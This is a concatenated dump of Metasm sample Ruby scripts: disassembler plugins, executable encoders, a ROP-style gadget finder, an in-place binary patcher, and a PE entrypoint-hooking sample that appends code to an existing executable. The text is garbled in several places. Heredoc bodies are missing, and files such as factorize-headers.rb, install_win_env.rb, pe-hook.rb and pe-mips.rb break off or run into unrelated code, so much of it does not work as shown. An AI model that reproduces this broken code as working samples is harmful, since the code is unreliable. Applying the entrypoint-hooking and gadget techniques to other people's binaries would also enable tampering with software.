| true 70 | end 71 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/dasm-plugins/demangle_cpp.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | # metasm dasm plugin: try to demangle all labels as c++ names, add them as 8 | # comment if successful 9 | 10 | def demangle_all_cppnames 11 | cnt = 0 12 | prog_binding.each { |name, addr| 13 | if dname = demangle_cppname(name) 14 | cnt += 1 15 | add_comment(addr, dname) 16 | end 17 | } 18 | cnt 19 | end 20 | 21 | demangle_all_cppnames if gui 22 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/dasm-plugins/dump_text.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | # metasm dasm GUI plugin: dumps the text of the current widget to a text file on 'D' keypress 8 | # the dump is appended to the file if it exists 9 | # works on the listing view (current screen), 10 | # on the decompiled view (current function), 11 | # on the graph view (selected blocks, in selection order) 12 | 13 | if gui 14 | gui.keyboard_callback[?D] = lambda { |a| 15 | cv = gui.curview 16 | if t = cv.instance_variable_get('@line_text') 17 | gui.savefile('dump file') { |f| 18 | File.open(f, 'a') { |fd| fd.puts t } 19 | } 20 | elsif s = cv.instance_variable_get('@selected_boxes') 21 | if s.empty? 22 | gui.messagebox('select boxes (ctrl+click)') 23 | next 24 | end 25 | gui.savefile('dump file') { |f| 26 | File.open(f, 'a') { |fd| 27 | s.each { |box| 28 | fd.puts box[:line_text_col].map { |strc| strc.transpose[0].join } 29 | } 30 | fd.puts 31 | } 32 | } 33 | end 34 | } 35 | end 36 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/dasm-plugins/findgadget.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2011 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | # metasm dasm plugin 8 | # scan for a given asm instruction sequence (all encodings) 9 | # add the G dasm-gui shortcut, the input change ';' for line splits 10 | 11 | def findgadget_asm_to_regex(asm) 12 | fullre = '' 13 | asm = asm.gsub(';', "\n") 14 | 15 | sc = Shellcode.new(@cpu) 16 | sc.parse asm 17 | sc.source.each { |i| 18 | case i 19 | when Data 20 | opts_edata = i.encode(@cpu.endianness) 21 | when Instruction 22 | opts_edata = @cpu.encode_instruction(sc, i) 23 | else 24 | raise "cant scan for #{i}" 25 | end 26 | 27 | opts_edata = [opts_edata] if opts_edata.kind_of?(EncodedData) 28 | 29 | opts_re = opts_edata.map { |ed| 30 | # Regexp.escape ed.data, with relocs replaced with '.' 31 | re = '' 32 | off = 0 33 | ed.reloc.sort.each { |o, rel| 34 | re << Regexp.escape(ed.data[off...o]) 35 | re << ('.' * rel.length) 36 | off = o + rel.length 37 | } 38 | re << Regexp.escape(ed.data[off..-1]) 39 | } 40 | fullre << '(' << opts_re.join('|') << ')' 41 | } 42 | 43 | Regexp.new(fullre, Regexp::MULTILINE, 'n') 44 | end 45 | 46 | # parse asm to a regexp, return the list of addresses matching 47 | def findgadget_asm(asm) 48 | pattern_scan(findgadget_asm_to_regex(asm)) 49 | end 50 | 51 | def findgadget_prompt 52 | gui.inputbox("source for the gadget - separate with ;") { |asm| 53 | lst = findgadget_asm(asm) 54 | list = [['address', 'section']] 55 | sections = section_info 56 | list += lst.map { |addr| 57 | # [name, addr, len, misc] 58 | if s = sections.find { |s_| s_[1] <= addr and s_[1] + s_[2] > addr } 59 | s = s[0] 60 | else 61 | s = '?' 62 | end 63 | [Expression[addr], s] 64 | } 65 | gui.listwindow("gadgetscan for #{asm}", list) { |args| gui.focus_addr(args[0]) } 66 | } 67 | end 68 | 69 | if gui 70 | gui.keyboard_callback[?G] = lambda { |*a| findgadget_prompt } 71 | w = gui.toplevel 72 | w.addsubmenu(w.find_menu('Actions'), 'Scan for _Gadget', 'G') { findgadget_prompt } 73 | w.update_menu 74 | :success 75 | end 76 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/dasm-plugins/hl_opcode.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | # metasm dasm GUI plugin: hilight lines of code based on the opcode name 8 | if gui 9 | @gui_opcode_color = { 'call' => '8f8', 'jmp' => 'faa', 'jcc' => 'fc8' } 10 | 11 | obg = gui.bg_color_callback # chain old callback 12 | gui.bg_color_callback = lambda { |a| 13 | if di = di_at(a) and pr = di.opcode.props 14 | if pr[:saveip] and (@function[di.block.to_normal.to_a.first] or di.block.to_subfuncret.to_a.first) 15 | # don't color call+pop 16 | @gui_opcode_color['call'] 17 | elsif pr[:stopexec] 18 | @gui_opcode_color['jmp'] 19 | elsif pr[:setip] 20 | @gui_opcode_color['jcc'] 21 | else 22 | obg[a] if obg 23 | end 24 | else 25 | obg[a] if obg 26 | end 27 | } 28 | end 29 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/dasm-plugins/hotfix_gtk_dbg.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | # 8 | # This plugin will create a monitoring process running samples/hotfix_gtk_dbg.rb on the current process (to fix a GTK crash when closing a window) 9 | # 10 | 11 | mypid = Process.pid 12 | 13 | if (!Process.fork) 14 | ARGV.clear 15 | ARGV << mypid 16 | $VERBOSE = false 17 | Kernel.load File.join(Metasmdir, 'samples', 'hotfix_gtk_dbg.rb') 18 | exit! 19 | end 20 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/dasm-plugins/match_libsigs.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | # metasm dasm plugin: allow loading library signature files (see samples/generate_libsigs.rb) 8 | 9 | class LibSignature 10 | attr_accessor :sigs, :siglenmax, :giantregex 11 | # load signatures from a signature file 12 | def initialize(file) 13 | # hash symbolname => signature 14 | @sigs = {} 15 | 16 | # populate sigs 17 | symname = nil 18 | sig = '' 19 | File.read(file).each_line { |l| 20 | case l 21 | when /^ / 22 | sig << l.strip 23 | else 24 | @sigs[symname] = sig 25 | symname = l.strip 26 | sig = '' 27 | end 28 | } 29 | @sigs[symname] = sig 30 | @sigs.delete nil 31 | @siglenmax = @sigs.values.map { |v| v.length }.max 32 | 33 | # compile a giant regex from the signatures 34 | re = @sigs.values.uniq.map { |sigh| 35 | sigh.gsub(/../) { |b| b == '..' ? '.' : ('\\x' + b) } 36 | }.join('|') 37 | 38 | # 'n' is a magic flag to allow high bytes in the regex (ruby1.9 + utfail) 39 | @giantregex = Regexp.new re, Regexp::MULTILINE, 'n' 40 | end 41 | 42 | # we found a match on str at off, identify the specific symbol that matched 43 | # on conflict, only return the first match 44 | def matched_findsym(str, off) 45 | str = str[off, @siglenmax].unpack('H*').first 46 | @sigs.find { |sym, sig| str =~ /^#{sig}/i }[0] 47 | end 48 | 49 | # matches the signatures against a raw string 50 | # yields offset, symname for each match 51 | # returns nr of matches found 52 | def match_chunk(str) 53 | count = 0 54 | off = 0 55 | while o = (str[off..-1] =~ @giantregex) 56 | count += 1 57 | off += o 58 | sym = matched_findsym(str, off) 59 | yield off, sym 60 | off += 1 61 | end 62 | count 63 | end 64 | 65 | # matches the signatures against a big raw string 66 | # yields offset, symname for each match 67 | # returns nr of matches found 68 | def match(str) 69 | chunksz = 1 << 20 70 | 71 | chunkoff = 0 72 | count = 0 73 | while chunkoff < str.length 74 | chunk = str[chunkoff, chunksz+@siglenmax] 75 | count += match_chunk(chunk) { |o, sym| yield chunkoff+o, sym if o < chunksz } 76 | chunkoff += chunksz 77 | end 78 | count 79 | end 80 | end 81 | 82 | def match_libsigs(sigfile) 83 | ls = LibSignature.new(sigfile) 84 | count = 0 85 | @sections.each { |b, s| 86 | count += ls.match(s.data) { |off, sym| set_label_at(b+off, sym) } 87 | } 88 | count 89 | end 90 | 91 | if gui 92 | gui.openfile('signature file to load') { |f| gui.messagebox "#{match_libsigs(f)} signatures found" } 93 | end 94 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/dasm-plugins/namelocalvars.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | # metasm dasm plugin: replace instances of [ebp-42] with [ebp+var_42] for the current function 8 | # (x86 only) 9 | def namelocalvars(addr) 10 | vars = [] 11 | each_function_block(addr) { |a| 12 | decoded[a].block.list.each { |di| 13 | di.instruction.args.grep(Ia32::ModRM).each { |mrm| 14 | next if mrm.s or not mrm.b or mrm.b.symbolic != :ebp 15 | next if not i = mrm.imm or not i = i.reduce or not i.kind_of? Integer 16 | # after our substitution get_bt_bind will return invalid data 17 | # XXX probably breaks decompilation 18 | di.backtrace_binding ||= cpu.get_backtrace_binding(di) 19 | n = i > 0 ? "arg_#{i.to_s(16)}" : "var_#{(-i).to_s(16)}" 20 | mrm.imm = Expression[n] 21 | vars << n 22 | } 23 | } 24 | } 25 | vars.uniq.sort_by { |n| [n[0, 4], n[4..-1].to_i(16)] } 26 | end 27 | 28 | if gui 29 | gui.keyboard_callback[?L] = lambda { |*a| 30 | puts namelocalvars(gui.curaddr).join(', ') 31 | gui.gui_update 32 | true 33 | } 34 | gui.keyboard_callback[?L][] 35 | end 36 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/dasm-plugins/patch_file.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | # metasm dasm plugin: allow patching the file from the dasm interface 8 | # use P to assemble a new instruction at the current address 9 | 10 | # backup the executable file 11 | def backup_program_file 12 | f = @program.filename 13 | if File.exist?(f) and not File.exist?(f + '.bak') 14 | File.open(f + '.bak', 'wb') { |wfd| 15 | File.open(f, 'rb') { |rfd| 16 | while buf = rfd.read(1024*1024) 17 | wfd.write buf 18 | end 19 | } 20 | } 21 | end 22 | end 23 | 24 | # create a backup and reopen the backend VirtualFile RW 25 | def reopen_rw(addr=nil, edata=nil) 26 | if not edata 27 | sections.each { |k, v| reopen_rw(k, v) } 28 | return true 29 | end 30 | 31 | return if not File.writable?(@program.filename) 32 | backup_program_file 33 | if not edata.data.kind_of? VirtualFile 34 | # section too small, loaded as real String 35 | # force reopen as VFile (allow hexediting in gui) 36 | return if not off = addr_to_fileoff(addr) 37 | len = edata.data.length 38 | edata.data = VirtualFile.read(@program.filename, 'rb+').dup(off, len) 39 | else 40 | edata.data.fd.reopen @program.filename, 'rb+' 41 | end 42 | end 43 | 44 | raise "cant find original file" if not @program.filename or not File.exist? @program.filename 45 | 46 | reopen_rw 47 | 48 | def patch_instrs(addr, asmsrc) 49 | sc = Metasm::Shellcode.new(cpu, addr) # pfx needed for autorequire 50 | sc.assemble(asmsrc, cpu) 51 | sc.encoded.fixup! prog_binding # allow references to dasm labels in the shellcode 52 | raw = sc.encode_string 53 | 54 | if s = get_section_at(addr) and s[0].data.kind_of? VirtualFile 55 | s[0][s[0].ptr, raw.length] = raw 56 | elsif o = addr_to_fileoff(addr) # section too small, not loaded as a VirtFile 57 | backup_program_file 58 | File.open(@program.filename, 'rb+') { |fd| 59 | fd.pos = o 60 | fd.write raw 61 | } 62 | s[0][s[0].ptr, raw.length] = raw if s 63 | else 64 | return 65 | end 66 | 67 | b = split_block(addr) 68 | 69 | # clear what we had in the rewritten space 70 | raw.length.times { |rawoff| 71 | next if not di = di_at(addr+rawoff) 72 | di.block.list.each { |ldi| @decoded.delete ldi.address } 73 | } 74 | 75 | disassemble_fast(addr) if b 76 | if b and @decoded[addr] 77 | nb = @decoded[addr].block 78 | nb.from_normal = b.from_normal 79 | nb.from_subfuncret = b.from_subfuncret 80 | nb.from_indirect = b.from_indirect 81 | end 82 | true 83 | end 84 | 85 | if gui 86 | gui.keyboard_callback[?P] = lambda { |k| 87 | addr = gui.curaddr 88 | gui.inputbox('new instructions') { |src| 89 | src = src.gsub(/;\s+/, "\n") 90 | patch_instrs(addr, src) 91 | gui.gui_update 92 | } 93 | true 94 | } 95 | end 96 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/dasm-plugins/scanfuncstart.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | # metasm dasm plugin: scan the memory for a 'ret' which could indicate the beginning of the current function 8 | # (x86 only) 9 | def scanfuncstart(addr) 10 | if o = (1..16).find { |off| @decoded[addr-off].kind_of? DecodedInstruction } and @decoded[addr-o].bin_length == o 11 | addr -= o 12 | end 13 | if @decoded[addr].kind_of? DecodedInstruction 14 | fs = find_function_start(addr) 15 | return fs if fs != addr 16 | end 17 | edata = get_edata_at(addr) 18 | if o = (1..1000).find { |off| 19 | @decoded[addr-off-1] or 20 | edata.data[edata.ptr-off-1] == ?\xcc or 21 | edata.data[edata.ptr-off-1] == ?\xc3 or 22 | edata.data[edata.ptr-off-3] == ?\xc2 23 | } 24 | o -= @decoded[addr-o-1].bin_length-1 if @decoded[addr-o-1].kind_of? DecodedInstruction 25 | addr-o 26 | end 27 | end 28 | 29 | if gui 30 | gui.keyboard_callback_ctrl[?P] = lambda { |*a| 31 | if o = scanfuncstart(gui.curaddr) 32 | gui.focus_addr(o) 33 | end 34 | true 35 | } 36 | end 37 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/dasm-plugins/scanxrefs.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | # metasm dasm plugin: scan for xrefs to the target address, incl. relative offsets (eg near call/jmp) 8 | def scanxrefs(target) 9 | ans = [] 10 | sections.sort.each { |s_addr, edata| 11 | raw = edata.data.to_str 12 | (0..raw.length-4).each { |off| 13 | r = raw[off, 4].unpack('V').first 14 | ans << (s_addr + off) if (r + off+4 + s_addr)&0xffffffff == target or r == target 15 | } 16 | } 17 | ans 18 | end 19 | 20 | gui.keyboard_callback[?X] = lambda { |*a| 21 | target = gui.curaddr 22 | ans = scanxrefs(target) 23 | list = [['addr']] + ans.map { |off| [Expression[off].to_s] } 24 | gui.listwindow("scanned xrefs to #{Expression[target]}", list) { |i| gui.focus_addr i[0] } 25 | true 26 | } if gui 27 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/dasm-plugins/stringsxrefs.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | 7 | # metasm dasm plugin 8 | # walks all disassembled instructions referencing an address 9 | # if this address points a C string, show that in the instruction comments 10 | # esp. useful after a disassemble_fast 11 | 12 | def stringsxrefs(maxsz = 32) 13 | @decoded.each_value { |di| 14 | next if not di.kind_of?(DecodedInstruction) 15 | di.instruction.args.grep(Expression).each { |e| 16 | if str = decode_strz(e) and str.length >= 4 and str =~ /^[\x20-\x7e]*$/ 17 | di.add_comment str[0, maxsz].inspect 18 | add_xref(normalize(e), Xref.new(:r, di.address, 1)) 19 | end 20 | } 21 | } 22 | nil 23 | end 24 | 25 | stringsxrefs if gui 26 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/elf_list_needed.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # This file is part of Metasm, the Ruby assembly manipulation suite 3 | # Copyright (C) 2006-2009 Yoann GUILLOT 4 | # 5 | # Licence is LGPL, see LICENCE in the top-level directory 6 | 7 | 8 | # 9 | # this script reads a list of elf files, and lists its dependencies recursively 10 | # libraries are searched in LD_LIBRARY_PATH, /usr/lib and /lib 11 | # includes the elf interpreter 12 | # can be useful when chrooting a binary 13 | # 14 | 15 | require 'metasm' 16 | 17 | 18 | paths = ENV['LD_LIBRARY_PATH'].to_s.split(':') + %w[/usr/lib /lib] 19 | todo = ARGV.map { |file| (file[0] == ?/) ? file : "./#{file}" } 20 | done = [] 21 | while src = todo.shift 22 | puts src 23 | # could do a simple ELF.decode_file, but this is quicker 24 | elf = Metasm::ELF.decode_file_header(src) 25 | 26 | if s = elf.segments.find { |s_| s_.type == 'INTERP' } 27 | interp = elf.encoded[s.offset, s.filesz].data.chomp("\0") 28 | if not done.include? interp 29 | puts interp 30 | done << interp 31 | end 32 | end 33 | 34 | elf.decode_tags 35 | elf.decode_segments_tags_interpret 36 | deps = elf.tag['NEEDED'].to_a - done 37 | done.concat deps 38 | 39 | deps.each { |dep| 40 | if not path = paths.find { |path_| File.exist? File.join(path_, dep) } 41 | $stderr.puts "cannot find #{dep} for #{src}" 42 | else 43 | todo << File.join(path, dep) 44 | end 45 | } 46 | end 47 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/elf_listexports.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | # 7 | # this script takes a list of dll filenames as arguments, and outputs each lib export 8 | # libname, followed by the list of the exported symbol names, in a format usable 9 | # by the Elf class autoimport functionnality (see metasm/os/linux.rb) 10 | # 11 | 12 | require 'metasm' 13 | 14 | bd = 'GLOBAL' 15 | bd = 'WEAK' if ARGV.delete '--weak' 16 | obj = true if ARGV.delete '--obj' 17 | 18 | ARGV.each { |f| 19 | e = Metasm::ELF.decode_file(f) 20 | next if not e.tag['SONAME'] 21 | puts e.tag['SONAME'] 22 | line = '' 23 | e.symbols.find_all { |s| 24 | s.name and (obj ? s.type != 'FUNC' : s.type == 'FUNC') and s.shndx != 'UNDEF' and s.bind == bd 25 | }.map { |s| ' ' << s.name }.sort.each { |s| 26 | if line.length + s.length >= 160 27 | puts line 28 | line = '' 29 | end 30 | line << s 31 | } 32 | puts line if not line.empty? 33 | } 34 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/elfencode.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # This file is part of Metasm, the Ruby assembly manipulation suite 4 | # Copyright (C) 2006-2009 Yoann GUILLOT 5 | # 6 | # Licence is LGPL, see LICENCE in the top-level directory 7 | 8 | require 'metasm' 9 | $opts = { :execlass => Metasm::ELF, :exetype => :lib } 10 | load File.join(File.dirname(__FILE__), 'exeencode.rb') 11 | 12 | __END__ 13 | .pt_gnu_stack rw 14 | // .nointerp // to disable the dynamic section, eg for stuff with int80 only 15 | .text 16 | .entrypoint 17 | push bla 18 | push fmt 19 | call printf 20 | push 0 21 | call exit 22 | 23 | .data 24 | bla db "world", 0 25 | fmt db "Hello, %s !\n", 0 26 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/factorize-headers-elfimports.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | # 7 | # this exemple illustrates the use of the cparser/preprocessor #factorize functionnality: 8 | # it generates code that references to the functions imported by an ELF executable 9 | # usage: factorize-imports.rb [] [... !] 10 | # 11 | 12 | require 'metasm' 13 | include Metasm 14 | 15 | require 'optparse' 16 | opts = { :hdrs => [], :defs => {}, :path => [] } 17 | OptionParser.new { |opt| 18 | opt.on('-o outfile') { |f| opts[:outfile] = f } 19 | opt.on('-H additional_header') { |f| opts[:hdrs] << f } 20 | opt.on('--exe executable') { |f| opts[:exe] = f } 21 | opt.on('-I path', '--includepath path') { |f| opts[:path] << f } 22 | opt.on('-D var') { |f| k, v = f.split('=', 2) ; opts[:defs].update k => (v || '') } 23 | opt.on('--gcc') { opts[:gcc] = true } 24 | opt.on('--vs', '--visualstudio') { opts[:vs] = true } 25 | }.parse!(ARGV) 26 | 27 | exe = AutoExe.decode_file_header(opts[:exe] || ARGV.shift) 28 | opts[:path] ||= [ARGV.shift] if not ARGV.empty? 29 | 30 | case exe 31 | when PE 32 | exe.decode_imports 33 | funcnames = exe.imports.map { |id| id.imports.map { |i| i.name } } 34 | when ELF 35 | exe.decode_segments_dynamic 36 | funcnames = exe.symbols.map { |s| s.name if s.shndx == 'UNDEF' and s.type == 'FUNC' } 37 | opts[:hdrs] << 'stdio.h' << 'stdlib.h' << 'unistd.h' 38 | opts[:gcc] = true if not opts[:vs] 39 | else raise "unsupported #{exe.class}" 40 | end 41 | 42 | funcnames = funcnames.flatten.compact.uniq.sort 43 | 44 | ARGV.each { |n| 45 | if n[0] == ?! 46 | funcnames.delete n[1..-1] 47 | else 48 | funcnames |= [n] 49 | end 50 | } 51 | 52 | src = opts[:hdrs].map { |h| "#include <#{h}>" }.join("\n") 53 | 54 | parser = Ia32.new.new_cparser 55 | parser.prepare_gcc if opts[:gcc] 56 | parser.prepare_visualstudio if opts[:vs] 57 | pp = parser.lexer 58 | pp.warn_redefinition = false 59 | pp.include_search_path[0, 0] = opts[:path] 60 | opts[:defs].each { |k, v| pp.define k, v } 61 | parser.factorize_init 62 | parser.parse src 63 | 64 | 65 | # delete imports not present in the header files 66 | funcnames.delete_if { |f| 67 | if not parser.toplevel.symbol[f] 68 | puts "// #{f.inspect} is not defined in the headers" 69 | true 70 | end 71 | } 72 | 73 | parser.parse "void *fnptr[] = { #{funcnames.map { |f| '&'+f }.join(', ')} };" 74 | 75 | outfd = (opts[:outfile] ? File.open(opts[:outfile], 'w') : $stdout) 76 | outfd.puts parser.factorize_final 77 | outfd.close 78 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/factorize-headers.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | # 7 | # this exemple illustrates the use of the cparser/preprocessor #factorize functionnality: 8 | # we write some code using standard headers, and the factorize call on CParser 9 | # gives us back the macro/C definitions that we use in our code, so that we can 10 | # get rid of the header 11 | # Argument: C file to factorize, [path to visual studio installation] 12 | # with a single argument, uses GCC standard headers 13 | # 14 | 15 | require 'metasm' 16 | include Metasm 17 | 18 | abort 'target needed' if not file = ARGV.shift 19 | 20 | visualstudiopath = ARGV.shift 21 | if visualstudiopath 22 | stub = < 0 and regval < 4096 37 | bt = dbg.stacktrace(2) 38 | calladdr = bt[1][0]-5 39 | dbg.disassembler.disassemble_fast(calladdr) 40 | call = dbg.di_at(calladdr) 41 | dbg.disassembler.disassemble_fast(call.instruction.args.first.reduce) rescue nil 42 | if di = dbg.disassembler.decoded[dbg.pc] and from = dbg.disassembler.decoded[di.block.from_normal.first] and from.block.list[-2].to_s =~ /test #{reg}, #{reg}/ 43 | puts "fix almost null deref #{di} (#{reg}=#{regval})" if $VERBOSE 44 | dbg.set_reg_value(reg, 0) 45 | dbg.set_reg_value(:eip, from.block.list[-2].address) 46 | else 47 | dbg.kill # dont infinite loop ( TODO just dont handle the exception) 48 | end 49 | elsif dbg.info =~ /SEGV/ 50 | puts "unhandled segfault #{di}..." if $VERBOSE 51 | # yep, this actually works 52 | dbg.set_reg_value(:eip, di.next_addr) 53 | end 54 | dbg.continue 55 | puts "target running" if $VERBOSE 56 | dbg.wait_target 57 | end 58 | 59 | puts "target terminated" if $VERBOSE 60 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/install_win_env.rb: -------------------------------------------------------------------------------- 1 | # 2 | # This file is part of Metasm, the Ruby assembly manipulation suite 3 | # Copyright (C) 2006-2009 Yoann GUILLOT 4 | # 5 | # Licence is LGPL, see LICENCE in the top-level directory 6 | 7 | # this file sets up the RUBYLIB environment variable for windows hosts 8 | # the variable is set for the current user only 9 | # the user session may need to be restarted so that the changes take effect 10 | 11 | # the path to the framework 12 | metasmpath = File.expand_path(File.join(File.dirname(__FILE__), '..')) 13 | 14 | $: << metasmpath 15 | require 'metasm' 16 | 17 | d = Metasm::DynLdr 18 | 19 | d.new_api_c < Metasm::MachO } 10 | load File.join(File.dirname(__FILE__), 'exeencode.rb') 11 | 12 | __END__ 13 | .text 14 | 15 | str db "Hello, World !\n", 0 16 | strlen equ $-str 17 | .align 8 18 | 19 | .entrypoint 20 | push strlen 21 | push str 22 | push 1 // stdout 23 | mov eax, 4 // sys_write 24 | push eax 25 | int 80h 26 | add esp, 12 27 | 28 | push 0 29 | mov eax, 1 // sys_exit 30 | push eax 31 | int 80h 32 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/pe-hook.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # This file is part of Metasm, the Ruby assembly manipulation suite 3 | # Copyright (C) 2006-2009 Yoann GUILLOT 4 | # 5 | # Licence is LGPL, see LICENCE in the top-level directory 6 | 7 | 8 | # 9 | # in this file, we open an existing PE, add some code to its last section and 10 | # patch the entrypoint so that we are executed at program start 11 | # 12 | 13 | require 'metasm' 14 | 15 | # read original file 16 | raise 'need a target filename' if not target = ARGV.shift 17 | pe_orig = Metasm::PE.decode_file(target) 18 | pe = pe_orig.mini_copy 19 | pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4] 20 | pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup 21 | pe.header.time = pe_orig.header.time 22 | 23 | has_mb = pe.imports.find { |id| id.imports.find { |i| i.name == 'MessageBoxA' } } ? 1 : 0 24 | # hook code to run on start 25 | newcode = Metasm::Shellcode.assemble(pe.cpu, < pe.optheader.image_base + pe.optheader.entrypoint) # tell the original entrypoint address to our hook 62 | pe.sections << s 63 | pe.invalidate_header 64 | 65 | # patch entrypoint 66 | pe.optheader.entrypoint = 'hook_entrypoint' 67 | 68 | # save 69 | pe.encode_file(target.sub(/\.exe$/i, '-patch.exe')) 70 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/pe-mips.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # This file is part of Metasm, the Ruby assembly manipulation suite 3 | # Copyright (C) 2006-2009 Yoann GUILLOT 4 | # 5 | # Licence is LGPL, see LICENCE in the top-level directory 6 | 7 | # 8 | # here we assemble a dummy MIPS PE 9 | # TODO autodetect header.machine from cpu, find something to put in 10 | # the MZ header, make a real mips sample program 11 | # 12 | 13 | 14 | require 'metasm' 15 | 16 | cpu = Metasm::MIPS.new(:little) 17 | prog = Metasm::PE.assemble(cpu, < { 1 => { 2 => 'xxx' }, 'toto' => { 12 => 'tata' } } } 22 | pe.resource = Metasm::COFF::ResourceDirectory.from_hash rsrc 23 | 24 | pe.encode_file('pe-testrsrc.exe') 25 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/pe_listexports.rb: -------------------------------------------------------------------------------- 1 | # This file is part of Metasm, the Ruby assembly manipulation suite 2 | # Copyright (C) 2006-2009 Yoann GUILLOT 3 | # 4 | # Licence is LGPL, see LICENCE in the top-level directory 5 | 6 | # 7 | # this script takes a list of dll filenames as arguments, and outputs each lib export 8 | # libname, followed by the list of the exported symbol names, in a format usable 9 | # by the PE class autoimport functionnality (see metasm/os/windows.rb) 10 | # 11 | 12 | require 'metasm' 13 | 14 | ARGV.each { |f| 15 | pe = Metasm::PE.decode_file_header(f) rescue next 16 | pe.decode_exports 17 | next if not pe.export or not pe.export.libname 18 | puts pe.export.libname.sub(/\.dll$/i, '') 19 | line = '' 20 | pe.export.exports.each { |e| 21 | next if not e.name 22 | # next if not e.target # allow forwarders ? (may change name) 23 | e = ' ' << e.name 24 | if line.length + e.length >= 160 25 | puts line 26 | line = '' 27 | end 28 | line << e 29 | } 30 | puts line if not line.empty? 31 | } 32 | -------------------------------------------------------------------------------- /RbWinDBG/lib-ext/metasm/samples/peencode.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # This file is part of Metasm, the Ruby assembly manipulation suite 4 | # Copyright (C) 2006-2009 Yoann GUILLOT 5 | # 6 | # Licence is LGPL, see LICENCE in the top-level directory 7 | 8 | require 'metasm' 9 | $opts = { :execlass => Metasm::PE, :srctype_data => 'c' } 10 | load File.join(File.dirname(__FILE__), 'exeencode.rb') 11 | 12 | __END__ 13 | __stdcall int MessageBox(int, char*, char*, int); 14 | __stdcall void ExitProcess(int); 15 | void main(void) 16 | { 17 | MessageBox(0, "kikoo", "lol", 0); 18 | ExitProcess(0); 19 | } 20 | -------------------------------------------------------------------------------- 